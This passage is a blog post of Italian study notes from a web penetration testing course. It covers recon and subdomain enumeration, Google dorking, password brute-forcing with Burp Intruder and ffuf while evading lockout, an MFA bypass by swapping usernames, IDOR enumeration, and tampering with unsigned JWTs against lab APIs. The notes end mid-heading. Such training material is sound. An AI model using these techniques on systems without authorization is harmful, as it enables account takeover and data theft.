{"id":2130,"date":"2025-05-14T13:01:11","date_gmt":"2025-05-14T11:01:11","guid":{"rendered":"https:\/\/www.fabriziogiancola.eu\/?p=2130"},"modified":"2025-09-27T09:11:43","modified_gmt":"2025-09-27T07:11:43","slug":"bug-bounty-notes","status":"publish","type":"post","link":"https:\/\/www.fabriziogiancola.eu\/index.php\/2025\/05\/14\/bug-bounty-notes\/","title":{"rendered":"Bug Bounty notes"},"content":{"rendered":"\n<p class=\"has-medium-font-size\">Appunti raccolti durante il corso <em>Practical Web Pentest Associate (PWPA) Certification<\/em> di <a href=\"https:\/\/certifications.tcm-sec.com\/pwpa\/\" data-type=\"link\" data-id=\"https:\/\/certifications.tcm-sec.com\/pwpa\/\">TCM<\/a>, alla cui piattaforma rimando per il materiale necessario.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-dark-gray-color has-very-light-gray-to-cyan-bluish-gray-gradient-background has-text-color has-background has-link-color wp-elements-fff6544a71a0617318b28186b5abb7f1\"><strong>Differenze tra Pen Testing e Bug Bounty Hunting<\/strong><\/h3>\n\n\n\n<p>Parliamo brevemente delle differenze tra <strong>penetration testing<\/strong> e <strong>bug bounty hunting<\/strong>.<\/p>\n\n\n\n<p>Nel bug bounty hunting, <strong>l\u2019impatto \u00e8 tutto<\/strong>. Facciamo un esempio: supponiamo di testare un sito web e di trovare un <strong>pannello di amministrazione<\/strong> accessibile da Internet. Questo pannello dovrebbe essere accessibile? Forse s\u00ec, forse no. Se stessimo conducendo un <strong>penetration test<\/strong>, questa potrebbe essere una segnalazione, a seconda dell\u2019organizzazione e del motivo per cui il pannello \u00e8 accessibile.<\/p>\n\n\n\n<p>Ma se segnalassimo la stessa cosa in un <strong>programma di bug bounty<\/strong>, la risposta sarebbe:<br><em>\u201cQuesto non \u00e8 un bug, \u00e8 solo un problema di basso livello.\u201d<\/em><\/p>\n\n\n\n<p>Il programma di bug bounty vuole una <strong>dimostrazione dell\u2019impatto<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Possiamo accedere a un account amministrativo?<\/li>\n\n\n\n<li>Esiste una vulnerabilit\u00e0 sfruttabile in questo pannello?<\/li>\n\n\n\n<li>Possiamo accedere a dati o funzioni a cui non dovremmo avere accesso?<\/li>\n<\/ul>\n\n\n\n<p>Nel penetration testing, analizziamo <strong>tutta<\/strong> l\u2019applicazione, <strong>ogni vulnerabilit\u00e0 \u00e8 considerata<\/strong>, da quelle di basso livello a quelle critiche. Nel bug bounty, invece, cerchiamo di trovare vulnerabilit\u00e0 <strong>di alto livello<\/strong> per ottenere il miglior compenso possibile. Ci\u00f2 non significa che le vulnerabilit\u00e0 minori non possano essere segnalate, ma <strong>pi\u00f9 alto \u00e8 l\u2019impatto, maggiore sar\u00e0 la ricompensa<\/strong>.<\/p>\n\n\n\n<p>Un\u2019altra differenza importante \u00e8 la <strong>compliance (conformit\u00e0)<\/strong>. Molti penetration test vengono eseguiti per motivi di conformit\u00e0 normativa, mentre il bug bounty <strong>non sempre<\/strong> riguarda la conformit\u00e0. Le aziende che partecipano ai programmi di bug bounty sono spesso gi\u00e0 passate attraverso penetration test e vogliono un ulteriore livello di test da parte di pi\u00f9 ricercatori.<\/p>\n\n\n\n<p>A livello generale:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Penetration testing<\/strong> \u2192 Analisi completa di un\u2019applicazione (conformit\u00e0, vulnerabilit\u00e0 di tutti i livelli).<\/li>\n\n\n\n<li><strong>Bug bounty<\/strong> \u2192 Massima attenzione all\u2019impatto (solo vulnerabilit\u00e0 gravi e dimostrabili).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-dark-gray-color has-very-light-gray-to-cyan-bluish-gray-gradient-background has-text-color has-background has-link-color has-medium-font-size wp-elements-695ae20071fa058f2810588096676ed9\"><strong>Bug Bounty notes<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/owasp.org\/Top10\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/owasp.org\/Top10<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/cwe.mitre.org\/index.html\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/cwe.mitre.org\/index.html<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.sans.org\/top25-software-errors\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.sans.org\/top25-software-errors<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/securityheaders.com\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/securityheaders.com<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.ssllabs.com\/ssltest\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.ssllabs.com\/ssltest<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Verificare il perimetro del test<\/strong><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Regola chiave:<\/strong> <strong>l\u2019impatto sulla sicurezza \u00e8 tutto<\/strong><\/p>\n\n\n\n<p class=\"has-dark-gray-color has-very-light-gray-to-cyan-bluish-gray-gradient-background has-text-color has-background has-link-color has-medium-font-size wp-elements-bbcdde541832f36c94cac7274e8193ea\"><strong>Ricognizione<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/builtwith.com\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/builtwith.com<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.wappalyzer.com\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.wappalyzer.com<\/a><\/p>\n\n\n\n<p><code><em>curl -I https:\/\/example.com  <\/em>Mostra gli header HTTP<\/code><\/p>\n\n\n\n<p>Se ottieni un reindirizzamento (302 Redirect), usa:<\/p>\n\n\n\n<p><em><code>curl -IL https:\/\/example.com<\/code><\/em><\/p>\n\n\n\n<p><em><code>nmap -p 443 -A example.com<\/code><\/em> -A \u2192 abilita l\u2019Advanced Scan<\/p>\n\n\n\n<p>Utilizza lo script <em><code>http-server-header<\/code><\/em>, che estrae l\u2019intestazione del server HTTP<\/p>\n\n\n\n<p><em><code>nmap -p 443 --script=http-server-header example.com<\/code><\/em>&nbsp;<\/p>\n\n\n\n<p><em><code>nmap -p 80,443 example.com<\/code><\/em> Scansiona pi\u00f9 porte<\/p>\n\n\n\n<p><a href=\"https:\/\/securityheaders.com\">https:\/\/securityheaders.com<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.shodan.io\">https:\/\/www.shodan.io<\/a><\/p>\n\n\n\n<p><em><code>ffuf -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt:FUZZ -u http:\/\/10.0.0.10\/FUZZ<\/code><\/em><\/p>\n\n\n\n<p>Se vogliamo scansionare una sottodirectory:<\/p>\n\n\n\n<p><em><code>ffuf -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt:FUZZ -u http:\/\/10.0.0.10\/admin\/FUZZ<\/code><\/em><\/p>\n\n\n\n<p>Se vogliamo vedere solo risposte 200 (OK) o 301 (Redirect), possiamo usare:<\/p>\n\n\n\n<p><em><code>ffuf -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt:FUZZ -u http:\/\/10.0.0.10\/FUZZ -fc 404<\/code><\/em><\/p>\n\n\n\n<p><em><code>dirb http:\/\/10.0.0.10\/<\/code><\/em><\/p>\n\n\n\n<p><code>-X<\/code> \u2192 Specifica le estensioni da cercare:<\/p>\n\n\n\n<p><em><code>dirb http:\/\/10.0.0.10\/ -X .php,.html,.txt<\/code><\/em><\/p>\n\n\n\n<p>Dirbuster \u00e8 una versione grafica di Dirb:<\/p>\n\n\n\n<p><em>dirbuster&amp;<\/em><\/p>\n\n\n\n<p>Ci sono molti altri strumenti per l\u2019enumerazione! Esplora anche:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Gobuster (simile a Dirb, ma pi\u00f9 veloce)<\/li>\n\n\n\n<li>Wfuzz (altamente configurabile)<\/li>\n\n\n\n<li>Nmap con http-enum<\/li>\n<\/ul>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Google Dorking<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>site:azena.comsite:azena.com -www\nsite:azena.com filetype:xlsx\nsite:azena.com filetype:pdf password<\/em><\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><a href=\"https:\/\/crt.sh\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/crt.sh\/ <\/a>           inserisci \u201c<em>% .azena.com<\/em>\u201d -&gt; % \u00e8 un wildcard<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Trovare sottodomini<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>subfinder -d azena.com\nsubfinder -d azena.com -o azena_subdomains.txt\nassetfinder azena.com\nassetfinder azena.com | grep azena.com\nassetfinder azena.com | grep azena.com | sort -u &gt; azena2.txt<\/em>\n<em>amass enum -d azena.com -o azena_amass.txt<\/em> <mark>amass lento ma pi\u00f9 risultati<\/mark>&nbsp;\n<em>amass enum -d azena.com &gt; azena_amass.txt<\/em><\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Verifica dei sottodomini attivi<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>cat azena | sort -u &gt; azenasorted.txt\ncat azenasorted &gt;&gt; azena2.txt  &gt;&gt; appende in fondo al file\ncat azena_subdomains.txt | httprobe\ncat azena_subdomains.txt | httprobe &gt; azena_active.txt<\/em>\n<mark>oppure se vogliamo scegliere solo https:<\/mark>\n<em>cat azena_sudomains.txt | httprobe -prefer-https &gt; azena_active.txt<\/em>\n<mark>oppure<\/mark>\n<em>cat azena_active.txt | grep azena.com | sort -u | httprobe -prefer-https | grep https &gt; azenaalive.txt<\/em><\/code><\/pre>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Catturare screenshot automatici<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>mkdir azenapics\ngowitness scan&nbsp; file -f azenaalive.txt&nbsp; azenapics --no-http\ngowitness file -f azenaalive.txt -P azenapics --no-http<\/em>\n<mark>Combiniamo tutto:<\/mark>\n<em>subfinder -d azena.com | assetfinder | amass enum -d azena.com | sort -u &gt; azena_all.txt\ncat azena_all.txt | httprobe &gt; azena_active.txt\ngowitness scan&nbsp; file -f azena_active.txt&nbsp; azenapics --no-http<\/em><\/code><\/pre>\n\n\n\n<p><strong>Burp Suite<\/strong>:<\/p>\n\n\n\n<p>Ricordiamoci lo scope!<\/p>\n\n\n\n<p>Con Burp Suite -&gt; tasto destro su un dominio \u2192 \u201c<em>Add to scope<\/em>\u201d<\/p>\n\n\n\n<p>Seleziona \u201c<em>Mostra solo elementi in scope<\/em>\u201d<\/p>\n\n\n\n<p>Aggiorna il setting dei filtri<\/p>\n\n\n\n<p>Estensioni da installare in Burp Suite Community Edition:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Autorize<\/li>\n\n\n\n<li>JSON Web Tokens<\/li>\n\n\n\n<li>Logger++<\/li>\n\n\n\n<li>Turbo Intruder<\/li>\n<\/ul>\n\n\n\n<p class=\"has-dark-gray-color has-very-light-gray-to-cyan-bluish-gray-gradient-background has-text-color has-background has-link-color has-medium-font-size wp-elements-5b28b925435f405b8eef77e0bb49cd57\"><strong>Authentication and Authorization Attacks<\/strong><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Brute Force<\/strong><\/p>\n\n\n\n<p><em><code>\/usr\/share\/wordlists\/seclists\/<\/code><\/em> -&gt; payload e password<\/p>\n\n\n\n<p>Burp Suite -&gt; Intruder<\/p>\n\n\n\n<p>Inviamo il POST all\u2019Intruder e aggiungiamo il payload al valore che vogliamo testare (quello della password)<\/p>\n\n\n\n<p>Terminale -&gt; FFUF<\/p>\n\n\n\n<p>Da Burp Suite copiamo e salviamo la richiesta (es. request.txt), sostituiamo il valore che vogliamo testare (quello della password) con FUZZ, quindi:<\/p>\n\n\n\n<p><em><code>ffuf -request request.txt -request-proto http -w \/usr\/share\/seclists\/Passwords\/Common-Credentials\/10-million-password-list-top-10000.txt -mc all<\/code><\/em><\/p>\n\n\n\n<p>filtriamo i risultati:<\/p>\n\n\n\n<p><em><code>ffuf -request request.txt -request-proto http -w \/usr\/share\/seclists\/Passwords\/Common-Credentials\/10-million-password-list-top-10000.txt -mc all -fs <\/code><\/em><strong><code><em>1814<\/em><\/code><\/strong><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Attacking MFA<\/strong><\/p>\n\n\n\n<p>Bypass dell\u2019MFA tramite modifica dell\u2019username:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ripetiamo il flusso di autenticazione, ma questa volta proveremo a modificare il nome utente prima di inviare il codice MFA.<\/li>\n\n\n\n<li>Accediamo con jessamy \/ pasta per arrivare alla schermata MFA<\/li>\n\n\n\n<li>Otteniamo il codice MFA e attiviamo \u201cIntercept\u201d su Burp Suite<\/li>\n\n\n\n<li>Intercettiamo la richiesta MFA e modifichiamo l\u2019username da jessamy a Jeremy<\/li>\n\n\n\n<li>Inoltriamo la richiesta e attendiamo la risposta del server<\/li>\n<\/ul>\n\n\n\n<p>Risultato: Accesso effettuato con successo come Jeremy!&nbsp;<\/p>\n\n\n\n<p>Oppure dopo aver ottenuto l\u2019accesso nel Repeater modifichiamo l\u2019username e lasciamo l\u2019MFA, SEND e verifichiamo l\u2019accesso, se ottenuto dal Repeater -&gt; Request in browser -&gt; In original session e incollo nell\u2019URL della pagina.<\/p>\n\n\n\n<p>Il sistema applica un lockout dopo troppi tentativi falliti.<\/p>\n\n\n\n<p>Con Burp Suite:<\/p>\n\n\n\n<p>Proviamo un Cluster Bomb Attack, usa due wordlist: una per gli username, una per le password.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>inviamo il POST all\u2019Intruder<\/li>\n\n\n\n<li>selezioniamo username e password nella richiesta \u201cadd\u201d<\/li>\n\n\n\n<li>impostiamo il tipo di attacco su Cluster Bomb<\/li>\n\n\n\n<li>nel payload, carichiamo per username e password le rispettive liste<\/li>\n\n\n\n<li>avviamo l\u2019attacco<\/li>\n<\/ul>\n\n\n\n<p>Per la challenge scegliamo alcune password da testare, ne scegliamo 4 per evitare il blocco al quinto tentativo fallito.<\/p>\n\n\n\n<p>Nota, per cercare il dizionario che ci interessa:<\/p>\n\n\n\n<p><em><code>find \/usr\/share\/seclists -name \u2018*user*\u2019<\/code><\/em><\/p>\n\n\n\n<p>vediamo le prime 10 righe per verificare se va bene quella lista:<\/p>\n\n\n\n<p><em><code>head \/usr\/share\/seclists\/Password\/password.txt<\/code><\/em><\/p>\n\n\n\n<p>Con FFUF:<\/p>\n\n\n\n<p>salviamo il POST come file txt, es. \u201c<em>request2.txt<\/em>\u201d<\/p>\n\n\n\n<p>apriamo il file e modifichiamo:&nbsp;<\/p>\n\n\n\n<p><em><code>username=FUZZUSER&amp;password=FUZZPASS<\/code><\/em><\/p>\n\n\n\n<p><em><code>ffuf -request request2.txt -request-proto http -mode clusterbomb -w \/usr\/share\/seclists\/Usernames\/top-usernames-shortlist.txt:FUZZUSER -w pass.txt:FUZZPASS<\/code><\/em><\/p>\n\n\n\n<p>\u201c<em>pass.txt<\/em>\u201d \u00e8 un file da noi creato con 4 password per evitare il blocco al quinto tentativo fallito.<\/p>\n\n\n\n<p>Cerchiamo tra le risposte quelle con un <strong>size<\/strong> diverso\/maggiore<\/p>\n\n\n\n<p>Altre tecniche di attacco (Authentication\/Attacking MFA -&gt; Checklist):<\/p>\n\n\n\n<p><a href=\"https:\/\/appsecexplained.gitbook.io\/appsecexplained\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/appsecexplained.gitbook.io\/appsecexplained<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>IDOR<\/strong> &#8211; Insecure Direct Object Reference (Riferimento Diretto Insicuro agli Oggetti)<\/p>\n\n\n\n<p>Il numero dell\u2019account \u00e8 visibile nell\u2019URL.<\/p>\n\n\n\n<p>Quando un ID utente viene passato come parametro nell\u2019URL, nel corpo di una richiesta, nell\u2019header o nei cookie, dobbiamo provare a manipolarlo per verificare se possiamo accedere a dati non autorizzati.<\/p>\n\n\n\n<p>Con Burp Suite:<\/p>\n\n\n\n<p>Intercettiamo la richiesta. Troviamo l\u2019ID dell\u2019utente nell\u2019URL e inviamo la richiesta a Repeater. Modifichiamo il numero dell\u2019ID utente e inviamo la richiesta. Se scorrendo la risposta vediamo un nuovo utente, come Alice, significa che l\u2019applicazione sta restituendo informazioni basate solo sull\u2019ID dell\u2019oggetto, senza verificare i permessi. Questa vulnerabilit\u00e0 \u00e8 molto diffusa nelle API, dove \u00e8 chiamata Broken Object Level Authorization (BOLA).<\/p>\n\n\n\n<p>Ricerca di account amministratore:<\/p>\n\n\n\n<p>Ora vogliamo scoprire se esistono account amministratore nel sistema. Mandiamo la richiesta a Burp Intruder (CTRL + I). Selezioniamo l\u2019ID utente come parametro da attaccare. Carichiamo una wordlist di numeri (num.txt) e avviamo l\u2019attacco. Nei risultati dell&#8217;attacco, filtriamo i risultati cercando la parola \u201cadmin\u201d. <\/p>\n\n\n\n<p>Script per generare numeri da 1 a 4999 e salvo il risultato nel file num.txt<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>for i in range(1, 5000):\n    print(i)<\/em><\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code><em>head num.txt\ntail num.txt<\/em><\/code><\/pre>\n\n\n\n<p>Con FFUF:<\/p>\n\n\n\n<p><em><code>ffuf -u \u201chttps:\/\/example.com\/account?id=FUZZ\u201d -w num.txt -mr \u201cadmin\u201d<\/code><\/em><\/p>\n\n\n\n<p><em><code>ffuf -u \u2018http:\/\/localhost\/labs\/e0x02.php?account=FUZZ\u2019 -w num.txt -mr \u2018admin\u2019<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>API<\/strong><\/p>\n\n\n\n<p><em><code>curl -X GET https:\/\/catfact.ninja\/breeds<\/code><\/em><\/p>\n\n\n\n<p>Eseguiamo la richiesta CURL attraverso Burp Suite:<\/p>\n\n\n\n<p><em><code>curl --proxy http:\/\/127.0.0.1:8080 https:\/\/catfact.ninja\/breeds -k<\/code><\/em><\/p>\n\n\n\n<p><em><code>-k<\/code><\/em> serve a ignorare gli errori di certificato dovuti al proxy auto-firmato di Burp Suite.<\/p>\n\n\n\n<p>Se volessimo inserire una nuova razza di gatto nell\u2019API, useremmo una richiesta POST:<\/p>\n\n\n\n<p><em><code>curl -X POST --proxy http:\/\/127.0.0.1:8080 https:\/\/catfact.ninja\/breeds -k -d '{\u201cname\u201d: \u201cCheeseCat\u201d}'<\/code><\/em><\/p>\n\n\n\n<p>Se volessimo aggiornare la razza appena creata, useremmo PUT:<\/p>\n\n\n\n<p><em><code>curl -X PUT --proxy http:\/\/127.0.0.1:8080 https:\/\/catfact.ninja\/breeds -k -d '{\u201corigin\u201d: \u201cItaly\u201d}'<\/code><\/em><\/p>\n\n\n\n<p>Con Burp Repeater:<\/p>\n\n\n\n<p>Catturiamo una richiesta GET con Burp Suite.<\/p>\n\n\n\n<p>Cambiamo il metodo GET \u2192 POST e modifichiamo i dati nel body.<\/p>\n\n\n\n<p>Inviamo la richiesta e analizziamo la risposta.<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Broken Access Control<\/strong><\/p>\n\n\n\n<p><a href=\"http:\/\/jwt.io\" target=\"_blank\" rel=\"noreferrer noopener\">jwt.io<\/a><\/p>\n\n\n\n<p>Un JWT \u00e8 composto da tre parti separate da punti (.):<\/p>\n\n\n\n<p><strong>HEADER.PAYLOAD.SIGNATURE<\/strong><\/p>\n\n\n\n<p>Header \u2192 Contiene il tipo di token e l\u2019algoritmo di firma.<\/p>\n\n\n\n<p>Payload \u2192 Contiene le informazioni dell&#8217;utente (es. ID utente, ruolo, permessi).<\/p>\n\n\n\n<p>Signature \u2192 Serve per verificare che il token non sia stato modificato.<\/p>\n\n\n\n<p>Se il terzo segmento (signature) manca, il token pu\u00f2 essere manipolato senza che l&#8217;applicazione se ne accorga.<\/p>\n\n\n\n<p>GET recupera informazioni<\/p>\n\n\n\n<p>POST crea nuove risorse<\/p>\n\n\n\n<p>PUT aggiorno risorse esistenti<\/p>\n\n\n\n<p>DELETE elimina risorse esistent<\/p>\n\n\n\n<p><em><code>curl -X POST -H \"Content-Type: application\/json\" -d '{\"username\": \"jeremy\", \"password\": \"cheesecake\"}' http:\/\/localhost\/labs\/api\/login.php<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><code><em>{\"status\":\"success\",\"token\":\"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\"}<\/em><\/code><\/p>\n\n\n\n<p><em><code>echo 'eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=' | base64 -d<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"user\":\"jeremy\",\"role\":\"staff\"}<\/code><\/em><\/p>\n\n\n\n<p><em><code>curl -X GET \"http:\/\/localhost\/labs\/api\/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\"<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"username\":\"jeremy\",\"role\":\"staff\",\"bio\":\"Java programmer.\"}<\/code><\/em><\/p>\n\n\n\n<p><em><code>curl -X PUT -H \"Content-Type: application\/json\" -d '{\"token\": \"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\", \"username\":\"jeremy\", \"bio\": \"Jeremy bio.\"}' http:\/\/localhost\/labs\/api\/account.php<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"message\":\"Bio updated successfully\"}<\/code><\/em><\/p>\n\n\n\n<p>Infatti, verifico:<\/p>\n\n\n\n<p><code><em>curl -X GET \"http:\/\/localhost\/labs\/api\/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\"<\/em><\/code><\/p>\n\n\n\n<p>risposta con bio aggiornata: &nbsp;<\/p>\n\n\n\n<p><em><code>{\"username\":\"jeremy\",\"role\":\"staff\",\"bio\":\"Jeremy bio.\"}<\/code><\/em><\/p>\n\n\n\n<p>Provo a modificare la bio di un altro utente, jessamy, utilizzano il JWT di jeremy:<\/p>\n\n\n\n<p><em><code>curl -X PUT -H \"Content-Type: application\/json\" -d '{\"token\": \"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\", \"username\":\"jessamy\", \"bio\": \"BLFA bio.\"}' http:\/\/localhost\/labs\/api\/account.php<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"message\":\"Bio updated successfully\"}<\/code><\/em><\/p>\n\n\n\n<p>Recupero il JWT di jessamy:<\/p>\n\n\n\n<p><em><code>curl -X POST -H \"Content-Type: application\/json\" -d '{\"username\": \"jessamy\", \"password\": \"tiramisu\"}' http:\/\/localhost\/labs\/api\/login.php<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"token\":\"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9.\"}<\/code><\/em><\/p>\n\n\n\n<p>e lo uso per verificare le info di jessamy e la modifica delle bio:<\/p>\n\n\n\n<p><em><code>curl -X GET \"http:\/\/localhost\/labs\/api\/account.php?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9.\"<\/code><\/em><\/p>\n\n\n\n<p>modifica effettuata:<\/p>\n\n\n\n<p><em><code>{\"username\":\"jessamy\",\"role\":\"admin\",\"bio\":\"BLFA bio.\"}<\/code><\/em><\/p>\n\n\n\n<p><strong>API Index<\/strong><\/p>\n\n\n\n<p>POST \/login.php<\/p>\n\n\n\n<p><em><code>curl -X POST -H \"Content-Type: application\/json\" -d '{username: \"admin\", password: \"password123\"}' http:\/\/localhost\/labs\/api\/login.php<\/code><\/em><\/p>\n\n\n\n<p>GET \/account.php<\/p>\n\n\n\n<p><em><code>curl -X GET \"http:\/\/localhost\/labs\/api\/account.php?token=JWT\"<\/code><\/em><\/p>\n\n\n\n<p>PUT \/account.php<\/p>\n\n\n\n<p><em><code>curl -X PUT -H \"Content-Type: application\/json\" -d '{token: \"JWT\", username:\"username\", bio: \"New bio information.\"}' http:\/\/localhost\/labs\/api\/account.php<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Testing with Autorize<\/strong><\/p>\n\n\n\n<p>Con Burp Suite:<\/p>\n\n\n\n<p>Attenzione all\u2019uso corretto degli \u2018 e delle \u201c<\/p>\n\n\n\n<p>Per testare le autorizzazioni, dobbiamo raccogliere alcuni JSON Web Tokens (JWT) dei diversi utenti:<\/p>\n\n\n\n<p><em><code>curl -X POST -H \"Content-Type: application\/json\" -d '{\"username\": \"jeremy\", \"password\": \"cheesecake\"}' http:\/\/localhost\/labs\/api\/login.php<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"token\":\"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\"}<\/code><\/em><\/p>\n\n\n\n<p><em><code>curl -X POST -H \"Content-Type: application\/json\" -d '{\"username\": \"jessamy\", \"password\": \"tiramisu\"}' http:\/\/localhost\/labs\/api\/login.php<\/code><\/em><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"token\":\"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVzc2FteSIsInJvbGUiOiJhZG1pbiJ9.\"}<\/code><\/em><\/p>\n\n\n\n<p>Andiamo su burpusuite e attiviamo Autorize:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdyI3jBGnOSiFBjAt83EZpO5UKJ-ZGRkYEXSd6ghy13G2Fc4Y0qLeXlUriGzV2bWwTzso9UHeWcreHxT0BSr4BnGmQ3NRGqKolNXmnyWDQ1LJpweVTbZiZwD2R2QBXmp0VlAjsz?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p><code>curl -X PUT -H \"Content-Type: application\/json\" -b \u201csession= eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\" -d \u2018{\"username\":\"jeremy\", \"bio\": \"New bio v.2.\"}' http:\/\/localhost\/labs\/api\/v2\/account.php<\/code><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"message\":\"Bio updated successfully\"}<\/code><\/em><\/p>\n\n\n\n<p><code>curl -X PUT --proxy localhost:8080 -H \"Content-Type: application\/json\" -b \u201csession=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\" -d \u2018{\"username\":\"jeremy\", \"bio\": \"New bio v.2.\"}' http:\/\/localhost\/labs\/api\/v2\/account.php<\/code><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>curl: (3) URL using bad\/illegal format or missing URL<\/code><\/em><\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"message\":\"Bio updated successfully\"<\/code><\/em><\/p>\n\n\n\n<p><code>curl -X PUT --proxy localhost:8080 -H \"Content-Type: application\/json\" -b \u201csession=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoiamVyZW15Iiwicm9sZSI6InN0YWZmIn0=.\" -d \u2018{\"username\":\"jeremy\", \"bio\": \"New bio v.2.\"}' http:\/\/localhost\/labs\/api\/v2\/account2.php<\/code><\/p>\n\n\n\n<p>risposta:<\/p>\n\n\n\n<p><em><code>curl: (3) URL using bad\/illegal format or missing URL<\/code><\/em><\/p>\n\n\n\n<p><em><code>{\"status\":\"success\",\"message\":\"Bio updated successfully\"<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcaPEQOi_olGIl5uJiYWywOKqeRk1T75-c4SREhHhsobuLO7jpqYc7OHLV1FslQUA9_HnerO9RIeQ_VvUlWIAtBgKBfLXESKoHjlP2B9sjnISMYaOQKo-ZQyEn0bYLU_BJH0Zgmlw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"has-dark-gray-color has-very-light-gray-to-cyan-bluish-gray-gradient-background has-text-color has-background has-link-color has-medium-font-size wp-elements-b68ae54354c1884fc3e842efde7215c5\"><strong>Injection 